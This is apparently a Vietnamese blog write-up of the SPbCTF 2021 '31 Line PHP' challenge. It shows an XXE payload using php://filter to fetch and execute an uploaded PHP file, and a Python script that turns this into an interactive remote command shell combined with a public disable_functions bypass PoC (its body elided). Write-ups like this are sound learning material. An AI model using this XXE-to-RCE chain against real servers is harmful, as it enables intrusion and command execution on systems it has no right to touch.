SPbCTF2021 - 31 Line PHP

SPbCTF2021 - 31 Line PHP

Challenge này từ năm ngoái nhưng mình vẫn muốn viết bởi 1 phần nó khá hay và lí do ngoài lề khác là năm nay mình mới tập tành viết blog 😝

Source code

source.png

Phân tích

Nhìn qua source code thì ta sẽ phải POST dữ liệu data=xxxx và một file. Server sẽ check session của ta nếu không có thì sẽ tạo random một sess_id và dùng sess_id này để làm thư mục cha của file upload.

2 dòng comment khá thú vị, liên quan đến lỗi XXE của Wordpress 3.9.2. Tiếp tục search thì mình tìm ra một blog về một bug khác cũng của Wordpress liên quan đến XXE. libxml_disable_entity_loader(true) được thêm vào ở đây để config XML parser tắt tính năng load external entity và tính năng này nên được áp dụng với các version PHP < 8, kể từ 8 trở đi thì PHP dùng libxml từ version 2.9.0 (disable XXE bydefault) nên libxml_disable_entity_loader() không được dùng nữa.

Từ đó ta có thể thấy không có vấn đề gì ở đoạn code này nhưng loadXML() ở dòng code dưới thì sao?. Bởi vì nó được thực thi với flag LIBXML_NOENT nên sẽ enable entity substitution. Cụ thể hơn là:

libxml_noent.png

Vì vậy ta vẫn có thể lợi dụng điều này để áp dụng kĩ thuật XXE 😊

Thử upload một file test.xml:

test.png

Với PHPSESSID trong cookie của ta

pyscript.png

Ta được:

result1.png

XXE thành công nhưng sẽ không có cách nào tìm được file flag vì XXE theo cách này chỉ có thể retrieve file từ xa bên phía server 😐 vì vậy mình đã không giải ra.

Sau khi đọc wu thì mới phát hiện ra rằng file ta upload lên được xóa ở cuối unlink() sau khi được parse XML. Điều này có nghĩa là nếu ta upload một file PHP và truy cập file đó một lần nữa thông qua XML. Và dùng php://filter để encode base64 thì có thể lấy được output của file php (sau khi thực thi bên phía server) qua response. Để ý một điểm nữa là file upload được lưu tại thư mục var/www/html/upload/$id/$name nên suy đoán thư mục root của web server sẽ là /var/www/html. Suy ra ta có thể access đến file upload bên phía server thông qua đường dẫn http://62.84.114.238/upload/$id/$FILENAME

<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://62.84.114.238/upload/89e05a8b6e028eeda25a0845b9b3daaa/payload.php" >]>
<creds>
<user>&xxe;</user>

<pass></pass>

</creds>
<?php phpinfo(); ?>

Ta chỉnh lại file upload với phpinfo(); và để server thực thi được file php thì chỉnh luôn extension thành .php

result2.png

Thành công base64 decode và mở bằng trình duyệt:

result3.png

😑 Các function có thể dùng để rce đều bị filter.

Nhưng cái disable_functions này có thể bypass được dựa vào bug được published PoC. Tại thời điểm publish, bug này có thể dùng để bypass hầu như mọi PHP versions và khai thác dựa trên memory corruption.

Khai thác

import requests
import re
import base64

TARGET = 'http://62.84.114.238'

while 1:
    COMMAND = str(input('$ '))
    with open('payload.php', 'w') as f:
        f.write("""
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://62.84.114.238/upload/ebb8f496d6241dfd214351614c852de7/payload.php" > ]>
<creds>
    <user>&xxe;</user>    
    <pass>mypass</pass>
</creds>
""" + """
<?php 
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
# 
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1

pwn('{}');""".format(COMMAND) + r"""

...

?>
""")
    r = requests.post(TARGET, files={'data': ('payload.php', open('payload.php', 'rb'))}, data={'data': 'test'},
                      headers={'Cookie': 'PHPSESSID=7b4bd8d9ff68e20dc0317595b6623ef6'})
    # print(r.text)
    match = re.search('You have logged in as user (.*)', r.text)
    extract_data = base64.b64decode(match[1]).decode()
    index = extract_data.find('</creds>') + len('</creds>')
    rce_data = extract_data[index:]
    print(rce_data)

Kết quả:

result4.png

spbctf{XX3_2_rCe_w3Ll_D0n3}

Tham khảo